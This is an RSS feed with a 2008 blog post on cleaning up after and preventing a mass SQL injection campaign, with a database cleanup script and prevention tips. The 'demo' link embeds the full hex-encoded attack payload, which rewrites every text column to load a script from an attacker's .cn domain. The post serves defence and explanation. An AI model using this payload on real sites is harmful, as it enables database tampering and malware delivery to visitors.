<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>internet mix &#187; attack</title>
	<atom:link href="http://blog.ninanet.com/tag/attack/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.ninanet.com</link>
	<description>where&#039;s the salt?</description>
	<lastBuildDate>Wed, 07 Dec 2011 01:19:08 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SQL injection attacks: Part 2: Answers</title>
		<link>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-part-2-answers</link>
		<comments>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-part-2-answers#comments</comments>
		<pubDate>Sat, 23 Aug 2008 07:58:58 +0000</pubDate>
		<dc:creator>Nina</dc:creator>
				<category><![CDATA[business mix]]></category>
		<category><![CDATA[tech mix]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlinjection]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While the effect yesterday&#8217;s post had was unintentional (I only wanted to complain about the effect those requests have on our and our clients&#8217; server statistics), it seems that a lot more people than I would have anticipated are affected and are looking for answers.
So in this post, I am trying to provide help and [...]]]></description>
			<content:encoded><![CDATA[<p>While the effect yesterday&#8217;s post had was unintentional (I only wanted to complain about the effect those requests have on our and our clients&#8217; server statistics), it seems that a lot more people than I would have anticipated are affected and are looking for answers.</p>
<p>So in this post, I am trying to provide help and some answers.</p>
<p><strong>UPDATE (8-25-08): </strong><a href="http://blog.ninanet.com/blog1.php/2008/08/25/sql-injection-attacks-part-3-securing-yo">How to secure your forms and prevent future attacks</a></p>
<p><span id="more-13"></span><br />
For all you guys looking for ways to detect vulnerable servers and code, <strong>try these links now</strong>:<br />
<a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-A4334146B6BA&amp;displaylang=en" target="extern"><strong>Microsoft Source Code Analyzer for SQL Injection</strong></a><br />
or:<br />
<a href="https://download.spidynamics.com/Products/scrawlr/" target="extern"><strong>Scrawlr</strong></a></p>
<p><strong>Cleanup:</strong><br />
Replace script tags from your database (absolutely no warranties &#8211; check the URL/path of the domain and script &#8211; in this case http://www0.douhunqn.cn/csrss/w.js &#8211; as well):</p>
<p align="left">
<pre class="brush:sql; auto-links:false">
DECLARE @T varchar(255),@C varchar(4000);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR
b.xtype=167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T,@C;
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(
'UPDATE ['+@T+'] set ['+@C+']=replace(['+@C+'],''"&gt;&lt;/title&gt;&lt;script src="http://www0.douhunqn.cn/csrss/w.js"&gt;&lt;/script&gt;&lt;!--'','''')');
FETCH NEXT FROM Table_Cursor INTO @T,@C ;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
</pre>
</p>
<p><strong>Quick Fixes to prevent more attacks (until you had time to secure every single query):</strong><br />
Check for suspicious Strings in Query Strings via an included function before serving any pages (Chances are nobody is supposed to submit certain statements in a parameter in the first place). </p>
<p>Use the RewriteEngine to check for and react to those strings (e.g. serve a 401 page instead).</p>
<p>These are quick fixes only and should not serve as long-term solutions: If the attacker modifies the SQL statements and you are only checking for e.g. DECLARE you have the same problem all over again.</p>
<p><strong>Prevention:</strong><br />
* Never trust Query Strings.<br />
* Escape them properly.<br />
* Check the TYPE of your variables. If you expect numeric values, check for numeric values. </p>
<p><strong>Demo &#8211; Test it:</strong><br />
We&#8217;ve created a demo page so you can check how a rewrite rule or an include function might change the way your pages are served:<br />
<a href="http://ninanet.com/sqltest.php?%27;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);" target="extern">SQL injection attack attempt demo page</a>: (will open in new window)</p>
<p>You can also use the page to translate the code from your logfiles:<br />
<a href="http://ninanet.com/sqltest.php" target="extern">SQL injection attack attempt demo page without Query String</a></p>
<p>I hope this answers at least some of your questions. If you are still lost, feel free to either leave a comment and I will try to answer your questions ASAP or <a href="mailto:nina@ninanet.com">email me directly</a>.</p>
<p>PS: I agree with everyone who said it&#8217;s not a pure SQL injection hack, but it&#8217;s also not a pure XSS hack either.</p>
<div style="margin-top:20px;">
	<!--<div style="float:left;margin-right:10px;"><fb:send href="http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F23%2Fsql-injection-attacks-part-2-answers" font=""></fb:send></div>-->
	<div style="float:left"><div id="fb-root"></div><div id="facebook_like2"> <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <fb:like href=http%3A%2F%2Fblog.ninanet.com%2F2008%2F08%2F23%2Fsql-injection-attacks-part-2-answers show_faces="true" width="450" send="true"></fb:like></div></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ninanet.com/2008/08/23/sql-injection-attacks-part-2-answers/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
